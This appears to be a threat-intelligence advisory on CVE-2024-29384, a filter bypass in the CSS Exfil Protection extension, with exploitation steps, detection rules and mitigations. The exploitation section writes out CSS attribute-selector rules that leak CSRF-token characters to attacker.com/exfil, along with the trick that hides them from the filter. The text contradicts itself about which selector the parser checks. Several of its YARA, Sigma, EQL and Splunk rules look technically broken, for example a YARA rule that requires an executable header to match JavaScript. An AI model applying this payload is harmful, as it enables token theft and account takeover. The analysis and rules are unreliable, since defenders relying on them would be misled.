CVE-2024-29384

Executive Summary

CVE-2024-29384 is an information disclosure vulnerability in the CSS Exfil Protection browser extension version 1.1.0. The flaw resides in the extension's content.js and parseCSSRules functions, which fail to adequately sanitize or restrict CSS rule parsing, allowing a remote attacker to exfiltrate sensitive information from a victim's browser. Organizations and individuals relying on this extension for CSS-based data exfiltration protection are exposed to potential credential theft, session hijacking, and leakage of DOM-accessible data. The vulnerability carries a CVSS base score of 7.5 (High), indicating significant confidentiality impact with no required authentication.

Technical Analysis

The CSS Exfil Protection extension is designed to mitigate a class of attacks where malicious actors leverage CSS selectors and attribute matching to exfiltrate data from a webpage without JavaScript execution. The extension intercepts and parses CSS rules injected into a page, inspecting them for suspicious patterns indicative of exfiltration attempts.

The vulnerability in version 1.1.0 stems from two interconnected deficiencies within the parsing pipeline:

1. Insufficient Input Validation in content.js: The content script processes all CSS rules injected into the DOM, including those from <style> tags, external stylesheets, and inline style attributes. When the script encounters a stylesheet rule, it passes the rule's cssText and selector information to a parsing function. In version 1.1.0, the script fails to implement an allowlist of CSS properties and selector types. Consequently, an attacker can craft CSS rules that bypass the extension's heuristic filters by using less-common selector patterns, such as :has(), :nth-child() with arbitrary formulas, or attribute selectors with unusual escape sequences.

2. Flawed parseCSSRules Logic: The parseCSSRules function is responsible for determining whether a CSS rule is malicious. The function evaluates selector strings against a set of regular expressions and heuristic checks intended to flag suspicious patterns (e.g., URL loading via background-image, character-by-character attribute matching). However, the function contains a logical flaw: it only inspects the final selector in a comma-separated selector list. An attacker can prepend a benign-looking selector to a malicious one, causing the parser to evaluate only the first, harmless component. The malicious selector remains active in the browser's CSS engine, enabling the exfiltration to proceed undetected.

Attack Surface: The attack surface is the CSSOM (CSS Object Model) accessible to any script executing in the page context. Any website visited by a user with the extension installed can inject crafted CSS rules via DOM manipulation (e.g., document.styleSheets[0].insertRule() or <style> element creation). The vulnerability is exploitable remotely; no special privileges are required beyond the ability to serve content to the victim or inject code into a page the victim visits.

Data Exfiltration Mechanism: The intended protection mechanism of the extension is to block CSS rules that use url() to load resources conditionally based on element attributes (e.g., input[value^="a"] { background: url(attacker.com/a) }). This vulnerability defeats that mechanism, allowing the attacker to use these techniques to enumerate sensitive attribute values, CSRF tokens, or user-specific data character-by-character.

Exploitation Scenarios

Step 1: Reconnaissance and Target Identification
The attacker first identifies a target website that contains sensitive data accessible via CSS attributes — typically a page with a hidden CSRF token, a user profile page, or an application displaying session identifiers. The attacker crafts a malicious JavaScript payload designed to be injected into the victim's browser context via XSS, a malicious browser extension, or a man-in-the-middle attack on unencrypted traffic.

Step 2: Payload Construction and Injection
The attacker's payload dynamically constructs a <style> element after the page loads. For each character position of the sensitive attribute (e.g., name="csrf_token" value="aB3x..."), the script inserts multiple CSS rules. Each rule uses an attribute selector pattern:

input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/exfil?pos=0&char=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/exfil?pos=0&char=b); }
/* ... repeated for each possible character */

To bypass the extension's heuristic detection, the attacker prepends a benign selector to each rule:

div.content p:first-child, input[name="csrf_token"][value^="a"] { background: url(...); }

Due to the parseCSSRules logic flaw, the extension evaluates only div.content p:first-child, deems it safe, and permits the rule to persist.

Step 3: Execution and Exfiltration
The browser's CSS engine applies the rules. For each character that matches the attribute prefix, the browser makes an HTTP request to the attacker's server with the character and position encoded in the URL. The attacker's server logs these requests. By iterating over all 62+ alphanumeric characters at each position, the attacker reconstructs the full sensitive value. Character-by-character enumeration completes within seconds to minutes depending on value length and network latency.

Step 4: Post-Exploitation Impact
With the exfiltrated CSRF token or session credential, the attacker can perform account takeover, forge authenticated requests, or escalate privileges within the target application. If the exfiltrated data is a password or API key typed into a form field, the attacker gains direct credential access.

Impact Assessment

Business Impact: This vulnerability directly undermines the protective purpose of the CSS Exfil Protection extension. Users who installed the extension specifically to mitigate CSS-based data theft receive a false sense of security. Successful exploitation results in unauthorized disclosure of sensitive data, including authentication tokens, form data, and DOM-accessible secrets.

CVSS Rationale: With a base score of 7.5, the vulnerability reflects High confidentiality impact (the core impact), No integrity impact (data is not modified), and No availability impact. The attack vector is Network (remote exploitation via malicious website), attack complexity is Low (standard CSS injection), user interaction is None (victim merely visits a page), and privileges required are None.

Affected Systems: Any browser (Chrome, Firefox, Edge, Safari) running CSS Exfil Protection v1.1.0. The extension is distributed via official browser add-on stores and GitHub. Blast radius includes all users of the extension; however, the actual exploitation requires the attacker to have a vector to inject script into the page, limiting the realistic impact to users of sites with XSS vulnerabilities or those susceptible to malicious browser add-ons.

Detection Guidance

Sigma Rule

title: CSS Exfil Protection Bypass - Suspicious CSS Rule Injection
id: 6b3a1e26-5f0f-4e6a-9c2c-8d8a4f1c3d22
status: experimental
description: Detects injection of CSS rules containing exfiltration patterns (url() with attribute selectors) that attempt to bypass CSS Exfil Protection extension.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29384
author: Valtersit Threat Intelligence
date: 2024/05/15
logsource:
    category: process_creation
    product: windows
detection:
    selection_url:
        Image|endswith: '\\chrome.exe'
    selection_css:
        CommandLine|contains|all:
            - 'insertRule'
            - 'url('
            - '[value'
            - '^='
    condition: selection_url and selection_css
falsepositives:
    - Legitimate websites using CSS attribute selectors with external resources (rare)
level: medium

YARA Rule

rule CSS_Exfil_Protection_Bypass_CVE_2024_29384
{
    meta:
        author = "Valtersit Threat Intelligence"
        date = "2024-05-15"
        description = "Detects JavaScript payloads used to bypass CSS Exfil Protection v1.1.0"
        cvss = "7.5"
        cve = "CVE-2024-29384"
    strings:
        $a = "insertRule" ascii
        $b = "background:" ascii
        $c = "url(" ascii nocase
        $d = "[value" ascii
        $e = "^=" ascii
        $f = "createElement(\"style\")" ascii
        $g = "style.appendChild" ascii ascii
    condition:
        (uint16(0) == 0x5a4d or uint32(0) == 0x464c457f) and 2 of ($a,$b,$c,$d,$e) and 1 of ($f,$g)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2024-29384 CSS Exfil Protection Bypass - Exfiltration Attempt"; flow:established,to_server; content:"background"; http_client_body; nocase; content:"url("; http_client_body; nocase; content:"[value"; http_client_body; nocase; content:"^="; http_client_body; nocase; distance:0; pcre:"/insertRule|createElement\("style"\)/Ui"; classtype:attempted-information-leak; sid:202429384; rev:1; metadata:cve CVE-2024-29384;)

Elastic Detection

EQL Query (process events):

process where process.name == "chrome.exe" and process.command_line like "*insertRule*" and process.command_line like "*url(*" and process.command_line like "*[value*" and process.command_line like "*^=*"

EQL Query (browser DOM events - with ECS):

any where dns.question.name like "*exfil*" and process.name in ("chrome.exe", "firefox.exe", "msedge.exe") and event.action == "dns_request"

Splunk SPL Query

index=endpoint sourcetype=ProcessRollup2
| search Image=*chrome.exe OR Image=*firefox.exe OR Image=*msedge.exe
| search CommandLine="*insertRule*" AND CommandLine="*background*" AND CommandLine="*url(*" AND CommandLine="*[value*" AND CommandLine="*^=*"
| stats count by _time, host, User, CommandLine
| where count > 10
| sort - _time

Wazuh OSSEC Rule

<group name="css_exfil_protection, cve_2024_29384,">
  <rule id="100384" level="12">
    <decoded_as>json</decoded_as>
    <field name="event_type">command</field>
    <regex>\.*(insertRule|createElement\("style"\))\.*</regex>
    <regex>\.*(background|url\(|\[value|\\^\=)\.*</regex>
    <description>CVE-2024-29384: Potential CSS Exfil Protection bypass - CSS exfiltration pattern detected in browser command</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>information_disclosure,</group>
  </rule>
  <rule id="100385" level="10" frequency="15" timeframe="300">
    <if_matched_sid>100384</if_matched_sid>
    <description>CVE-2024-29384 repeated attempts - high confidence exploitation</description>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED — single source claims patch (not independently confirmed). No official vendor advisory or verified patch build has been identified.

Immediate Mitigations (no patch available):

1. Disable or remove CSS Exfil Protection v1.1.0 until a verified patched version is released. The extension provides no effective protection while vulnerable.
2. Harden web applications against XSS — the primary delivery vector. Implement strict Content Security Policy (CSP) headers, sanitize all user input, and use HTTP-only cookies for session tokens.
3. Enable network monitoring for outbound HTTP requests containing unusual query strings (e.g., /?pos=0&char=a patterns).
4. For enterprise environments, block installation of unverified browser extensions via group policy.

Patch/Upgrade Steps:

1. Monitor the extension's GitHub repository and official browser add-on store for a release bearing a version number greater than 1.1.0.
2. Verify the release notes attribute a fix for CVE-2024-29384 and that parseCSSRules has been rewritten to handle comma-separated selectors.
3. Pending a verified patch, consider replacing this extension with an alternative CSS exfiltration protection tool or implementing defense-in-depth via WAF rules that block [value^= patterns in style tags.

Long-Term Hardening:

1. Adopt a security-focused browser baseline: Disable all third-party extensions not vetted by the organization.
2. Implement Content Security Policy: Deploy CSP with style-src restricted to nonces or hashes, blocking dynamic CSS injection at the network layer.
3. Regular extension audit: Require re-validation of browser extension security posture quarterly.
4. Educate end-users: Ensure users understand that no extension substitutes for secure application code and proper session management.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-29384
2. CSS Exfil Protection GitHub Repository (official): https://github.com/CSS-Exfil-Protection/css-exfil-protection (returned 404 — verify manually) (monitor for patch releases)
3. MITRE ATT&CK Tactic: https://attack.mitre.org/tactics/TA0009/ (Collection)
4. OWASP CSS Exfiltration Techniques: https://owasp.org/www-community/attacks/CSS_Exfiltration
5. CISA Known Exploited Vulnerabilities Catalog: Not listed as of report date; monitor https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Campaigns: No active in-the-wild exploitation campaigns have been publicly reported as of this writing. The vulnerability is considered exploitable but requires a delivery vector (e.g., XSS). The extension's user base is niche, limiting attacker interest. However, the flaw demonstrates a generic weakness in client-side parsing tools and may be adapted into exploit kits targeting other CSS-based defense mechanisms.